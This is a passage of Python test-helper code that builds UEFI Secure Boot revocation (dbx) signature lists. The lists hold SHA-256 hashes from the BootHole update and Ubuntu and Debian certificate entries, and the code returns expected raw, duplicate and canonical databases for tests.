('A7F32F508D4EB0FEAD9A087EF94ED1BA0AEC5DE6F7EF6FF0A62B93BEDF5D458D', owner), ('A924D3CAD6DA42B7399B96A095A06F18F6B1ABA5B873B0D5F3A0EE2173B48B6C', owner), ('AD3BE589C0474E97DE5BB2BF33534948B76BB80376DFDC58B1FED767B5A15BFC', owner), ('AD6826E1946D26D3EAF3685C88D97D85DE3B4DCB3D0EE2AE81C70560D13C5720', owner), ('AEEBAE3151271273ED95AA2E671139ED31A98567303A332298F83709A9D55AA1', owner), ('AFE2030AFB7D2CDA13F9FA333A02E34F6751AFEC11B010DBCD441FDF4C4002B3', owner), ('B3E506340FBF6B5786973393079F24B66BA46507E35E911DB0362A2ACDE97049', owner), ('B54F1EE636631FAD68058D3B0937031AC1B90CCB17062A391CCA68AFDBE40D55', owner), ('B8D6B5E7857B45830E017C7BE3D856ADEB97C7290EB0665A3D473A4BEB51DCF3', owner), ('B8F078D983A24AC433216393883514CD932C33AF18E7DD70884C8235F4275736', owner), ('B92AF298DC08049B78C77492D6551B710CD72AADA3D77BE54609E43278EF6E4D', owner), ('B93F0699598F8B20FA0DACC12CFCFC1F2568793F6E779E04795E6D7C22530F75', owner), ('B97A0889059C035FF1D54B6DB53B11B9766668D9F955247C028B2837D7A04CD9', owner), ('BADFF5E4F0FEA711701CA8FB22E4C43821E31E210CF52D1D4F74DD50F1D039BC', owner), ('BB01DA0333BB639C7E1C806DB0561DC98A5316F22FEF1090FB8D0BE46DAE499A', owner), ('BB1DD16D530008636F232303A7A86F3DFF969F848815C0574B12C2D787FEC93F', owner), ('BC75F910FF320F5CB5999E66BBD4034F4AE537A42FDFEF35161C5348E366E216', owner), ('BC87A668E81966489CB508EE805183C19E6ACD24CF17799CA062D2E384DA0EA7', owner), ('BDD01126E9D85710D3FE75AF1CC1702A29F081B4F6FDF6A2B2135C0297A9CEC5', owner), ('BE435DF7CD28AA2A7C8DB4FC8173475B77E5ABF392F76B7C76FA3F698CB71A9A', owner), ('BEF7663BE5EA4DBFD8686E24701E036F4C03FB7FCD67A6C566ED94CE09C44470', owner), ('C2469759C1947E14F4B65F72A9F5B3AF8B6F6E727B68BB0D91385CBF42176A8A', owner), ('C3505BF3EC10A51DACE417C76B8BD10939A065D1F34E75B8A3065EE31CC69B96', owner), ('C3A99A460DA464A057C3586D83CEF5F4AE08B7103979ED8932742DF0ED530C66', owner), ('C409BDAC4775ADD8DB92AA22B5B718FB8C94A1462C1FE9A416B95D8A3388C2FC', owner), ('C42D11C70CCF5E8CF3FB91FDF21D884021AD836CA68ADF2CBB7995C10BF588D4', owner), ('C452AB846073DF5ACE25CCA64D6B7A09D906308A1A65EB5240E3C4EBCAA9CC0C', owner), ('C5D9D8A186E2C82D09AFAA2A6F7F2E73870D3E64F72C4E08EF67796A840F0FBD', owner), ('C617C1A8B1EE2A811C28B5A81B4C83D7C98B5B0C27281D610207EBE692C2967F', owner), ('C69D64A5B839E41BA16742527E17056A18CE3C276FD26E34901A1BC7D0E32219', owner), ('C805603C4FA038776E42F263C604B49D96840322E1922D5606A9B0BBB5BFFE6F', owner), ('C83CB13922AD99F560744675DD37CC94DCAD5A1FCBA6472FEE341171D939E884', owner), ('C90F336617B8E7F983975413C997F10B73EB267FD8A10CB9E3BDBFC667ABDB8B', owner), ('C9EC350406F26E559AFFB4030DE2EBDE5435054C35A998605B8FCF04972D8D55', owner), ('CA171D614A8D7E121C93948CD0FE55D39981F9D11AA96E03450A415227C2C65B', owner), ('CB340011AFEB0D74C4A588B36EBAA441961608E8D2FA80DCA8C13872C850796B', owner), ('CB6B858B40D3A098765815B592C1514A49604FAFD60819DA88D7A76E9778FEF7', owner), ('CC8EEC6EB9212CBF897A5ACE7E8ABEECE1079F1A6DEF0A789591CB1547F1F084', owner), ('CE3BFABE59D67CE8AC8DFD4A16F7C43EF9C224513FBC655957D735FA29F540CE', owner), ('CF13A243C1CD2E3C8CEB7E70100387CECBFB830525BBF9D0B70C79ADF3E84128', owner), ('D063EC28F67EBA53F1642DBF7DFF33C6A32ADD869F6013FE162E2C32F1CBE56D', owner), ('D372C0D0F4FDC9F52E9E1F23FC56EE72414A17F350D0CEA6C26A35A6C3217A13', owner), ('D626157E1D6A718BC124AB8DA27CBB65072CA03A7B6B257DBDCBBD60F65EF3D1', owner), ('D89A11D16C488DD4FBBC541D4B07FAF8670D660994488FE54B1FBFF2704E4288', owner), ('D8CBEB9735F5672B367E4F96CDC74969615D17074AE96C724D42CE0216F8F3FA', owner), ('D8D4E6DDF6E42D74A6A536EA62FD1217E4290B145C9E5C3695A31B42EFB5F5A4', owner), ('D9668AB52785086786C134B5E4BDDBF72452813B6973229AB92AA1A54D201BF5', owner), ('DA3560FD0C32B54C83D4F2FF869003D2089369ACF2C89608F8AFA7436BFA4655', owner), ('DBAF9E056D3D5B38B68553304ABC88827EBC00F80CB9C7E197CDBC5822CD316C', owner), ('DCCC3CE1C00EE4B0B10487D372A0FA47F5C26F57A359BE7B27801E144EACBAC4', owner), ('DD59AF56084406E38C63FBE0850F30A0CD1277462A2192590FB05BC259E61273', owner), ('DF02AAB48387A9E1D4C65228089CB6ABE196C8F4B396C7E4BBC395DE136977F6', owner), ('DF91AC85A94FCD0CFB8155BD7CBEFAAC14B8C5EE7397FE2CC85984459E2EA14E', owner), ('E051B788ECBAEDA53046C70E6AF6058F95222C046157B8C4C1B9C2CFC65F46E5', owner), ('E19DAE83C02E6F281358D4EBD11D7723B4F5EA0E357907D5443DECC5F93C1E9D', owner), ('E24B315A551671483D8B9073B32DE11B4DE1EB2EAB211AFD2D9C319FF55E08D0', owner), ('E36DFC719D2114C2E39AEA88849E2845AB326F6F7FE74E0E539B7E54D81F3631', owner), ('E39891F48BBCC593B8ED86CE82CE666FC1145B9FCBFD2B07BAD0A89BF4C7BFBF', owner), ('E6856F137F79992DC94FA2F43297EC32D2D9A76F7BE66114C6A13EFC3BCDF5C8', owner), ('E6CA68E94146629AF03F69C2F86E6BEF62F930B37C6FBCC878B78DF98C0334E5', owner), ('E7681F153121EA1E67F74BBCB0CDC5E502702C1B8CC55FB65D702DFBA948B5F4', owner), ('E7C20B3AB481EC885501ECA5293781D84B5A1AC24F88266B5270E7ECB4AA2538', owner), ('E800395DBE0E045781E8005178B4BAF5A257F06E159121A67C595F6AE22506FD', owner), ('E92C22EB3B5642D65C1EC2CAF247D2594738EEBB7FB3841A44956F59E2B0D1FA', owner), ('EAFF8C85C208BA4D5B6B8046F5D6081747D779BADA7768E649D047FF9B1F660C', owner), ('EE83A566496109A74F6AC6E410DF00BB29A290E0021516AE3B8A23288E7E2E72', owner), ('EED7E0EFF2ED559E2A79EE361F9962AF3B1E999131E30BB7FD07546FAE0A7267', owner), ('F1863EC8B7F43F94AD14FB0B8B4A69497A8C65ECBC2A55E0BB420E772B8CDC91', owner), ('F1B4F6513B0D544A688D13ADC291EFA8C59F420CA5DCB23E0B5A06FA7E0D083D', owner), ('F277AF4F9BDC918AE89FA35CC1B34E34984C04AE9765322C3CB049574D36509C', owner), ('F2A16D35B554694187A70D40CA682959F4F35C2CE0EAB8FD64F7AC2AB9F5C24A', owner), ('F31FD461C5E99510403FC97C1DA2D8A9CBE270597D32BADF8FD66B77495F8D94', owner), ('F48E6DD8718E953B60A24F2CBEA60A9521DEAE67DB25425B7D3ACE3C517DD9B7', owner), ('F52F83A3FA9CFBD6920F722824DBE4034534D25B8507246B3B957DAC6E1BCE7A', owner), ('FDDD6E3D29EA84C7743DAD4A1BDBC700B5FEC1B391F932409086ACC71DD6DBD8', owner), ('FE63A84F782CC9D3FCF2CCF9FC11FBD03760878758D26285ED12669BDC6E6D01', owner), ('FECFB232D12E994B6D485D2C7167728AA5525984AD5CA61E7516221F079A1436', owner)]
<DeepExtract>
Esl = EfiSignatureList(typeguid=EfiSignatureDataFactory.EFI_CERT_SHA256_GUID)
SignatureSize = EfiSignatureDataEfiCertSha256.STATIC_STRUCT_SIZE if canonicalHashes else 0
Esl.AddSignatureHeader(SigHeader=None, SigSize=SignatureSize)
for entry in canonicalHashes:
(hashStr, ownerGuidStr) = entry
hashBytes = bytes.fromhex(hashStr)
Esl.AddSignatureData(EfiSignatureDataEfiCertSha256(digest=hashBytes, sigowner=uuid.UUID(ownerGuidStr)))
canonical_hashes_esl = Esl
</DeepExtract>
expected_canonical_esd = EfiSignatureDatabase(EslList=[canonical_hashes_esl, cert2_esl, cert1_esl])
return (esd, expected_dupes_esd, expected_canonical_esd)
|
def BootHoleData():
""" Returns a tuple of the (rawData, expectedDupes, expectedCanonical) for the BootHole dbx generated by EDK2 """
owner = '77fa9abd-0359-4d32-bd60-28f4e78f784b'
originalHashes = [('80B4D96931BF0D02FD91A61E19D14F1DA452E66DB2408CA8604D411F92659F0A', owner), ('F52F83A3FA9CFBD6920F722824DBE4034534D25B8507246B3B957DAC6E1BCE7A', owner), ('C5D9D8A186E2C82D09AFAA2A6F7F2E73870D3E64F72C4E08EF67796A840F0FBD', owner), ('363384D14D1F2E0B7815626484C459AD57A318EF4396266048D058C5A19BBF76', owner), ('1AEC84B84B6C65A51220A9BE7181965230210D62D6D33C48999C6B295A2B0A06', owner), ('E6CA68E94146629AF03F69C2F86E6BEF62F930B37C6FBCC878B78DF98C0334E5', owner), ('C3A99A460DA464A057C3586D83CEF5F4AE08B7103979ED8932742DF0ED530C66', owner), ('58FB941AEF95A25943B3FB5F2510A0DF3FE44C58C95E0AB80487297568AB9771', owner), ('5391C3A2FB112102A6AA1EDC25AE77E19F5D6F09CD09EEB2509922BFCD5992EA', owner), ('D626157E1D6A718BC124AB8DA27CBB65072CA03A7B6B257DBDCBBD60F65EF3D1', owner), ('D063EC28F67EBA53F1642DBF7DFF33C6A32ADD869F6013FE162E2C32F1CBE56D', owner), ('29C6EB52B43C3AA18B2CD8ED6EA8607CEF3CFAE1BAFE1165755CF2E614844A44', owner), ('90FBE70E69D633408D3E170C6832DBB2D209E0272527DFB63D49D29572A6F44C', owner), ('075EEA060589548BA060B2FEED10DA3C20C7FE9B17CD026B94E8A683B8115238', owner), ('07E6C6A858646FB1EFC67903FE28B116011F2367FE92E6BE2B36999EFF39D09E', owner), ('09DF5F4E511208EC78B96D12D08125FDB603868DE39F6F72927852599B659C26', owner), ('0BBB4392DAAC7AB89B30A4AC657531B97BFAAB04F90B0DAFE5F9B6EB90A06374', owner), ('0C189339762DF336AB3DD006A463DF715A39CFB0F492465C600E6C6BD7BD898C', owner), ('0D0DBECA6F29ECA06F331A7D72E4884B12097FB348983A2A14A0D73F4F10140F', owner), ('0DC9F3FB99962148C3CA833632758D3ED4FC8D0B0007B95B31E6528F2ACD5BFC', owner), ('106FACEACFECFD4E303B74F480A08098E2D0802B936F8EC774CE21F31686689C', owner), ('174E3A0B5B43C6A607BBD3404F05341E3DCF396267CE94F8B50E2E23A9DA920C', owner), ('18333429FF0562ED9F97033E1148DCEEE52DBE2E496D5410B5CFD6C864D2D10F', owner), ('2B99CF26422E92FE365FBF4BC30D27086C9EE14B7A6FFF44FB2F6B9001699939', owner), ('2BBF2CA7B8F1D91F27EE52B6FB2A5DD049B85A2B9B529C5D6662068104B055F8', owner), ('2C73D93325BA6DCBE589D4A4C63C5B935559EF92FBF050ED50C4E2085206F17D', owner), ('2E70916786A6F773511FA7181FAB0F1D70B557C6322EA923B2A8D3B92B51AF7D', owner), ('306628FA5477305728BA4A467DE7D0387A54F569D3769FCE5E75EC89D28D1593', owner), ('3608EDBAF5AD0F41A414A1777ABF2FAF5E670334675EC3995E6935829E0CAAD2', owner), ('3841D221368D1583D75C0A02E62160394D6C4E0A6760B6F607B90362BC855B02', owner), ('3FCE9B9FDF3EF09D5452B0F95EE481C2B7F06D743A737971558E70136ACE3E73', owner), ('4397DACA839E7F63077CB50C92DF43BC2D2FB2A8F59F26FC7A0E4BD4D9751692', owner), ('47CC086127E2069A86E03A6BEF2CD410F8C55A6D6BDB362168C31B2CE32A5ADF', owner), ('518831FE7382B514D03E15C621228B8AB65479BD0CBFA3C5C1D0F48D9C306135', owner), ('5AE949EA8855EB93E439DBC65BDA2E42852C2FDF6789FA146736E3C3410F2B5C', owner), ('6B1D138078E4418AA68DEB7BB35E066092CF479EEB8CE4CD12E7D072CCB42F66', owner), ('6C8854478DD559E29351B826C06CB8BFEF2B94AD3538358772D193F82ED1CA11', owner), ('6F1428FF71C9DB0ED5AF1F2E7BBFCBAB647CC265DDF5B293CDB626F50A3A785E', owner), ('71F2906FD222497E54A34662AB2497FCC81020770FF51368E9E3D9BFCBFD6375', owner), ('726B3EB654046A30F3F83D9B96CE03F670E9A806D1708A0371E62DC49D2C23C1', owner), ('72E0BD1867CF5D9D56AB158ADF3BDDBC82BF32A8D8AA1D8C5E2F6DF29428D6D8', owner), ('7827AF99362CFAF0717DADE4B1BFE0438AD171C15ADDC248B75BF8CAA44BB2C5', owner), ('81A8B965BB84D3876B9429A95481CC955318CFAA1412D808C8A33BFD33FFF0E4', owner), ('82DB3BCEB4F60843CE9D97C3D187CD9B5941CD3DE8100E586F2BDA5637575F67', owner), ('895A9785F617CA1D7ED44FC1A1470B71F3F1223862D9FF9DCC3AE2DF92163DAF', owner), ('8AD64859F195B5F58DAFAA940B6A6167ACD67A886E8F469364177221C55945B9', owner), ('8BF434B49E00CCF71502A2CD900865CB01EC3B3DA03C35BE505FDF7BD563F521', owner), ('8D8EA289CFE70A1C07AB7365CB28EE51EDD33CF2506DE888FBADD60EBF80481C', owner), ('9998D363C491BE16BD74BA10B94D9291001611736FDCA643A36664BC0F315A42', owner), ('9E4A69173161682E55FDE8FEF560EB88EC1FFEDCAF04001F66C0CAF707B2B734', owner), ('A6B5151F3655D3A2AF0D472759796BE4A4200E5495A7D869754C4848857408A7', owner), ('A7F32F508D4EB0FEAD9A087EF94ED1BA0AEC5DE6F7EF6FF0A62B93BEDF5D458D', owner), ('AD6826E1946D26D3EAF3685C88D97D85DE3B4DCB3D0EE2AE81C70560D13C5720', owner), ('AEEBAE3151271273ED95AA2E671139ED31A98567303A332298F83709A9D55AA1', owner), ('AFE2030AFB7D2CDA13F9FA333A02E34F6751AFEC11B010DBCD441FDF4C4002B3', owner), ('B54F1EE636631FAD68058D3B0937031AC1B90CCB17062A391CCA68AFDBE40D55', owner), ('B8F078D983A24AC433216393883514CD932C33AF18E7DD70884C8235F4275736', owner), ('B97A0889059C035FF1D54B6DB53B11B9766668D9F955247C028B2837D7A04CD9', owner), ('BC87A668E81966489CB508EE805183C19E6ACD24CF17799CA062D2E384DA0EA7', owner), ('C409BDAC4775ADD8DB92AA22B5B718FB8C94A1462C1FE9A416B95D8A3388C2FC', owner), ('C617C1A8B1EE2A811C28B5A81B4C83D7C98B5B0C27281D610207EBE692C2967F', owner), ('C90F336617B8E7F983975413C997F10B73EB267FD8A10CB9E3BDBFC667ABDB8B', owner), ('CB6B858B40D3A098765815B592C1514A49604FAFD60819DA88D7A76E9778FEF7', owner), ('CE3BFABE59D67CE8AC8DFD4A16F7C43EF9C224513FBC655957D735FA29F540CE', owner), ('D8CBEB9735F5672B367E4F96CDC74969615D17074AE96C724D42CE0216F8F3FA', owner), ('E92C22EB3B5642D65C1EC2CAF247D2594738EEBB7FB3841A44956F59E2B0D1FA', owner), ('FDDD6E3D29EA84C7743DAD4A1BDBC700B5FEC1B391F932409086ACC71DD6DBD8', owner), ('FE63A84F782CC9D3FCF2CCF9FC11FBD03760878758D26285ED12669BDC6E6D01', owner), ('FECFB232D12E994B6D485D2C7167728AA5525984AD5CA61E7516221F079A1436', owner), ('CA171D614A8D7E121C93948CD0FE55D39981F9D11AA96E03450A415227C2C65B', owner), ('55B99B0DE53DBCFE485AA9C737CF3FB616EF3D91FAB599AA7CAB19EDA763B5BA', owner), ('77DD190FA30D88FF5E3B011A0AE61E6209780C130B535ECB87E6F0888A0B6B2F', owner), ('C83CB13922AD99F560744675DD37CC94DCAD5A1FCBA6472FEE341171D939E884', owner), ('3B0287533E0CC3D0EC1AA823CBF0A941AAD8721579D1C499802DD1C3A636B8A9', owner), ('939AEEF4F5FA51E23340C3F2E49048CE8872526AFDF752C3A7F3A3F2BC9F6049', owner), ('64575BD912789A2E14AD56F6341F52AF6BF80CF94400785975E9F04E2D64D745', owner), ('45C7C8AE750ACFBB48FC37527D6412DD644DAED8913CCD8A24C94D856967DF8E', owner)]
Esl = EfiSignatureList(typeguid=EfiSignatureDataFactory.EFI_CERT_SHA256_GUID)
SignatureSize = EfiSignatureDataEfiCertSha256.STATIC_STRUCT_SIZE if originalHashes else 0
Esl.AddSignatureHeader(SigHeader=None, SigSize=SignatureSize)
for entry in originalHashes:
(hashStr, ownerGuidStr) = entry
hashBytes = bytes.fromhex(hashStr)
Esl.AddSignatureData(EfiSignatureDataEfiCertSha256(digest=hashBytes, sigowner=uuid.UUID(ownerGuidStr)))
originalEsl = Esl
cert1 = [(UBUNTU_CERT, owner)]
listSize = len(cert1)
if listSize > 1:
raise Exception('initList length > 1, unsupported by type')
Esl = EfiSignatureList(typeguid=EfiSignatureDataFactory.EFI_CERT_X509_GUID)
if listSize == 0:
Esl.AddSignatureHeader(SigHeader=None, SigSize=0)
else:
(certHexStr, ownerGuidStr) = cert1[0]
certBytes = bytes.fromhex(certHexStr)
Esl.AddSignatureHeader(SigHeader=None, SigSize=EfiSignatureDataEfiCertX509.STATIC_STRUCT_SIZE + len(certBytes))
Esl.AddSignatureData(EfiSignatureDataEfiCertX509(cert=certBytes, sigowner=uuid.UUID(ownerGuidStr)))
cert1_esl = Esl
cert2 = [(DEBIAN_CERT, owner)]
listSize = len(cert2)
if listSize > 1:
raise Exception('initList length > 1, unsupported by type')
Esl = EfiSignatureList(typeguid=EfiSignatureDataFactory.EFI_CERT_X509_GUID)
if listSize == 0:
Esl.AddSignatureHeader(SigHeader=None, SigSize=0)
else:
(certHexStr, ownerGuidStr) = cert2[0]
certBytes = bytes.fromhex(certHexStr)
Esl.AddSignatureHeader(SigHeader=None, SigSize=EfiSignatureDataEfiCertX509.STATIC_STRUCT_SIZE + len(certBytes))
Esl.AddSignatureData(EfiSignatureDataEfiCertX509(cert=certBytes, sigowner=uuid.UUID(ownerGuidStr)))
cert2_esl = Esl
newHashes = [('81D8FB4C9E2E7A8225656B4B8273B7CBA4B03EF2E9EB20E0A0291624ECA1BA86', owner), ('B92AF298DC08049B78C77492D6551B710CD72AADA3D77BE54609E43278EF6E4D', owner), ('E19DAE83C02E6F281358D4EBD11D7723B4F5EA0E357907D5443DECC5F93C1E9D', owner), ('39DBC2288EF44B5F95332CB777E31103E840DBA680634AA806F5C9B100061802', owner), ('32F5940CA29DD812A2C145E6FC89646628FFCC7C7A42CAE512337D8D29C40BBD', owner), ('10D45FCBA396AEF3153EE8F6ECAE58AFE8476A280A2026FC71F6217DCF49BA2F', owner), ('4B8668A5D465BCDD9000AA8DFCFF42044FCBD0AECE32FC7011A83E9160E89F09', owner), ('89F3D1F6E485C334CD059D0995E3CDFDC00571B1849854847A44DC5548E2DCFB', owner), ('C9EC350406F26E559AFFB4030DE2EBDE5435054C35A998605B8FCF04972D8D55', owner), ('B3E506340FBF6B5786973393079F24B66BA46507E35E911DB0362A2ACDE97049', owner), ('9F1863ED5717C394B42EF10A6607B144A65BA11FB6579DF94B8EB2F0C4CD60C1', owner), ('DD59AF56084406E38C63FBE0850F30A0CD1277462A2192590FB05BC259E61273', owner), ('DBAF9E056D3D5B38B68553304ABC88827EBC00F80CB9C7E197CDBC5822CD316C', owner), ('65F3C0A01B8402D362B9722E98F75E5E991E6C186E934F7B2B2E6BE6DEC800EC', owner), ('5B248E913D71853D3DA5AEDD8D9A4BC57A917126573817FB5FCB2D86A2F1C886', owner), ('2679650FE341F2CF1EA883460B3556AAAF77A70D6B8DC484C9301D1B746CF7B5', owner), ('BB1DD16D530008636F232303A7A86F3DFF969F848815C0574B12C2D787FEC93F', owner), ('0CE02100F67C7EF85F4EED368F02BF7092380A3C23CA91FD7F19430D94B00C19', owner), ('95049F0E4137C790B0D2767195E56F73807D123ADCF8F6E7BF2D4D991D305F89', owner), ('02E6216ACAEF6401401FA555ECBED940B1A5F2569AED92956137AE58482EF1B7', owner), ('6EFEFE0B5B01478B7B944C10D3A8ACA2CCA4208888E2059F8A06CB5824D7BAB0', owner), ('9D00AE4CD47A41C783DC48F342C076C2C16F3413F4D2DF50D181CA3BB5AD859D', owner), ('D8D4E6DDF6E42D74A6A536EA62FD1217E4290B145C9E5C3695A31B42EFB5F5A4', owner), ('F277AF4F9BDC918AE89FA35CC1B34E34984C04AE9765322C3CB049574D36509C', owner), ('0DC24C75EB1AEF56B9F13AB9DE60E2ECA1C4510034E290BBB36CF60A549B234C', owner), ('835881F2A5572D7059B5C8635018552892E945626F115FC9CA07ACF7BDE857A4', owner), ('BADFF5E4F0FEA711701CA8FB22E4C43821E31E210CF52D1D4F74DD50F1D039BC', owner), ('C452AB846073DF5ACE25CCA64D6B7A09D906308A1A65EB5240E3C4EBCAA9CC0C', owner), ('F1863EC8B7F43F94AD14FB0B8B4A69497A8C65ECBC2A55E0BB420E772B8CDC91', owner), ('7BC9CB5463CE0F011FB5085EB8BA77D1ACD283C43F4A57603CC113F22CEBC579', owner), ('E800395DBE0E045781E8005178B4BAF5A257F06E159121A67C595F6AE22506FD', owner), ('1CB4DCCAF2C812CFA7B4938E1371FE2B96910FE407216FD95428672D6C7E7316', owner), ('3ECE27CBB3EC4438CCE523B927C4F05FDC5C593A3766DB984C5E437A3FF6A16B', owner), ('68EE4632C7BE1C66C83E89DD93EAEE1294159ABF45B4C2C72D7DC7499AA2A043', owner), ('E24B315A551671483D8B9073B32DE11B4DE1EB2EAB211AFD2D9C319FF55E08D0', owner), ('E7C20B3AB481EC885501ECA5293781D84B5A1AC24F88266B5270E7ECB4AA2538', owner), ('7EAC80A915C84CD4AFEC638904D94EB168A8557951A4D539B0713028552B6B8C', owner), ('E7681F153121EA1E67F74BBCB0CDC5E502702C1B8CC55FB65D702DFBA948B5F4', owner), ('DCCC3CE1C00EE4B0B10487D372A0FA47F5C26F57A359BE7B27801E144EACBAC4', owner), ('0257FF710F2A16E489B37493C07604A7CDA96129D8A8FD68D2B6AF633904315D', owner), ('3A91F0F9E5287FA2994C7D930B2C1A5EE14CE8E1C8304AE495ADC58CC4453C0C', owner), ('495300790E6C9BF2510DABA59DB3D57E9D2B85D7D7640434EC75BAA3851C74E5', owner), ('81A8B2C9751AEB1FABA7DBDE5EE9691DC0EAEE2A31C38B1491A8146756A6B770', owner), ('8E53EFDC15F852CEE5A6E92931BC42E6163CD30FF649CCA7E87252C3A459960B', owner), ('992D359AA7A5F789D268B94C11B9485A6B1CE64362B0EDB4441CCC187C39647B', owner), ('9FA4D5023FD43ECAFF4200BA7E8D4353259D2B7E5E72B5096EFF8027D66D1043', owner), ('D372C0D0F4FDC9F52E9E1F23FC56EE72414A17F350D0CEA6C26A35A6C3217A13', owner), ('5C5805196A85E93789457017D4F9EB6828B97C41CB9BA6D3DC1FCC115F527A55', owner), ('804E354C6368BB27A90FAE8E498A57052B293418259A019C4F53A2007254490F', owner), ('03F64A29948A88BEFFDB035E0B09A7370CCF0CD9CE6BCF8E640C2107318FAB87', owner), ('05D87E15713454616F5B0ED7849AB5C1712AB84F02349478EC2A38F970C01489', owner), ('06EB5BADD26E4FAE65F9A42358DEEF7C18E52CC05FBB7FC76776E69D1B982A14', owner), ('08BB2289E9E91B4D20FF3F1562516AB07E979B2C6CEFE2AB70C6DFC1199F8DA5', owner), ('0928F0408BF725E61D67D87138A8EEBC52962D2847F16E3587163B160E41B6AD', owner), ('09F98AA90F85198C0D73F89BA77E87EC6F596C491350FB8F8BBA80A62FBB914B', owner), ('0A75EA0B1D70EAA4D3F374246DB54FC7B43E7F596A353309B9C36B4FD975725E', owner), ('0C51D7906FC4931149765DA88682426B2CFE9E6AA4F27253EAB400111432E3A7', owner), ('0FA3A29AD05130D7FE5BF4D2596563CDED1D874096AACC181069932A2E49519A', owner), ('147730B42F11FE493FE902B6251E97CD2B6F34D36AF59330F11D02A42F940D07', owner), ('148FE18F715A9FCFE1A444CE0FFF7F85869EB422330DC04B314C0F295D6DA79E', owner), ('1B909115A8D473E51328A87823BD621CE655DFAE54FA2BFA72FDC0298611D6B8', owner), ('1D8B58C1FDB8DA8B33CCEE1E5F973AF734D90EF317E33F5DB1573C2BA088A80C', owner), ('1F179186EFDF5EF2DE018245BA0EAE8134868601BA0D35FF3D9865C1537CED93', owner), ('270C84B29D86F16312B06AAAE4EBB8DFF8DE7D080D825B8839FF1766274EFF47', owner), ('29CCA4544EA330D61591C784695C149C6B040022AC7B5B89CBD72800D10840EA', owner), ('2B2298EAA26B9DC4A4558AE92E7BB0E4F85CF34BF848FDF636C0C11FBEC49897', owner), ('2DCF8E8D817023D1E8E1451A3D68D6EC30D9BED94CBCB87F19DDC1CC0116AC1A', owner), ('311A2AC55B50C09B30B3CC93B994A119153EEEAC54EF892FC447BBBD96101AA1', owner), ('32AD3296829BC46DCFAC5EDDCB9DBF2C1EED5C11F83B2210CF9C6E60C798D4A7', owner), ('340DA32B58331C8E2B561BAF300CA9DFD6B91CD2270EE0E2A34958B1C6259E85', owner), ('362ED31D20B1E00392281231A96F0A0ACFDE02618953E695C9EF2EB0BAC37550', owner), ('367A31E5838831AD2C074647886A6CDFF217E6B1BA910BFF85DC7A87AE9B5E98', owner), ('3765D769C05BF98B427B3511903B2137E8A49B6F859D0AF159ED6A86786AA634', owner), ('386D695CDF2D4576E01BCACCF5E49E78DA51AF9955C0B8FA7606373B007994B3', owner), ('3A4F74BEAFAE2B9383AD8215D233A6CF3D057FB3C7E213E897BEEF4255FAEE9D', owner), ('3AE76C45CA70E9180C1559981F42622DD251BCA1FBE6B901C52EC11673B03514', owner), ('3BE8E7EB348D35C1928F19C769846788991641D1F6CF09514CA10269934F7359', owner), ('3E3926F0B8A15AD5A14167BB647A843C3D4321E35DBC44DCE8C837417F2D28B0', owner), ('400AC66D59B7B094A9E30B01A6BD013AFF1D30570F83E7592F421DBE5FF4BA8F', owner), ('4185821F6DAB5BA8347B78A22B5F9A0A7570CA5C93A74D478A793D83BAC49805', owner), ('41D1EEB177C0324E17DD6557F384E532DE0CF51A019A446B01EFB351BC259D77', owner), ('45876B4DD861D45B3A94800774027A5DB45A48B2A729410908B6412F8A87E95D', owner), ('4667BF250CD7C1A06B8474C613CDB1DF648A7F58736FBF57D05D6F755DAB67F4', owner), ('47FF1B63B140B6FC04ED79131331E651DA5B2E2F170F5DAEF4153DC2FBC532B1', owner), ('47FF1B63B140B6FC04ED79131331E651DA5B2E2F170F5DAEF4153DC2FBC532B1', owner), ('57E6913AFACC5222BD76CDAF31F8ED88895464255374EF097A82D7F59AD39596', owner), ('5890FA227121C76D90ED9E63C87E3A6533EEA0F6F0A1A23F1FC445139BC6BCDF', owner), ('5D1E9ACBBB4A7D024B6852DF025970E2CED66FF622EE019CD0ED7FD841CCAD02', owner), ('61341E07697978220EA61E85DCD2421343F2C1BF35CC5B8D0AD2F0226F391479', owner), ('61CEC4A377BF5902C0FEAEE37034BF97D5BC6E0615E23A1CDFBAE6E3F5FB3CFD', owner), ('631F0857B41845362C90C6980B4B10C4B628E23DBE24B6E96C128AE3DCB0D5AC', owner), ('65B2E7CC18D903C331DF1152DF73CA0DC932D29F17997481C56F3087B2DD3147', owner), ('66AA13A0EDC219384D9C425D3927E6ED4A5D1940C5E7CD4DAC88F5770103F2F1', owner), ('6873D2F61C29BD52E954EEFF5977AA8367439997811A62FF212C948133C68D97', owner), ('6DBBEAD23E8C860CF8B47F74FBFCA5204DE3E28B881313BB1D1ECCDC4747934E', owner), ('6DEAD13257DFC3CCC6A4B37016BA91755FE9E0EC1F415030942E5ABC47F07C88', owner), ('70A1450AF2AD395569AD0AFEB1D9C125324EE90AEC39C258880134D4892D51AB', owner), ('72C26F827CEB92989798961BC6AE748D141E05D3EBCFB65D9041B266C920BE82', owner), ('781764102188A8B4B173D4A8F5EC94D828647156097F99357A581E624B377509', owner), ('788383A4C733BB87D2BF51673DC73E92DF15AB7D51DC715627AE77686D8D23BC', owner), ('78B4EDCAABC8D9093E20E217802CAEB4F09E23A3394C4ACC6E87E8F35395310F', owner), ('7F49CCB309323B1C7AB11C93C955B8C744F0A2B75C311F495E18906070500027', owner), ('82ACBA48D5236CCFF7659AFC14594DEE902BD6082EF1A30A0B9B508628CF34F4', owner), ('894D7839368F3298CC915AE8742EF330D7A26699F459478CF22C2B6BB2850166', owner), ('8C0349D708571AE5AA21C11363482332073297D868F29058916529EFC520EF70', owner), ('8D93D60C691959651476E5DC464BE12A85FA5280B6F524D4A1C3FCC9D048CFAD', owner), ('9063F5FBC5E57AB6DE6C9488146020E172B176D5AB57D4C89F0F600E17FE2DE2', owner), ('91656AA4EF493B3824A0B7263248E4E2D657A5C8488D880CB65B01730932FB53', owner), ('91971C1497BF8E5BC68439ACC48D63EBB8FAABFD764DCBE82F3BA977CAC8CF6A', owner), ('947078F97C6196968C3AE99C9A5D58667E86882CF6C8C9D58967A496BB7AF43C', owner), ('96E4509450D380DAC362FF8E295589128A1F1CE55885D20D89C27BA2A9D00909', owner), ('9783B5EE4492E9E891C655F1F48035959DAD453C0E623AF0FE7BF2C0A57885E3', owner), ('97A51A094444620DF38CD8C6512CAC909A75FD437AE1E4D22929807661238127', owner), ('97A8C5BA11D61FEFBB5D6A05DA4E15BA472DC4C6CD4972FC1A035DE321342FE4', owner), ('992820E6EC8C41DAAE4BD8AB48F58268E943A670D35CA5E2BDCD3E7C4C94A072', owner), ('992D359AA7A5F789D268B94C11B9485A6B1CE64362B0EDB4441CCC187C39647B', owner), ('9954A1A99D55E8B189AB1BCA414B91F6A017191F6C40A86B6F3EF368DD860031', owner), 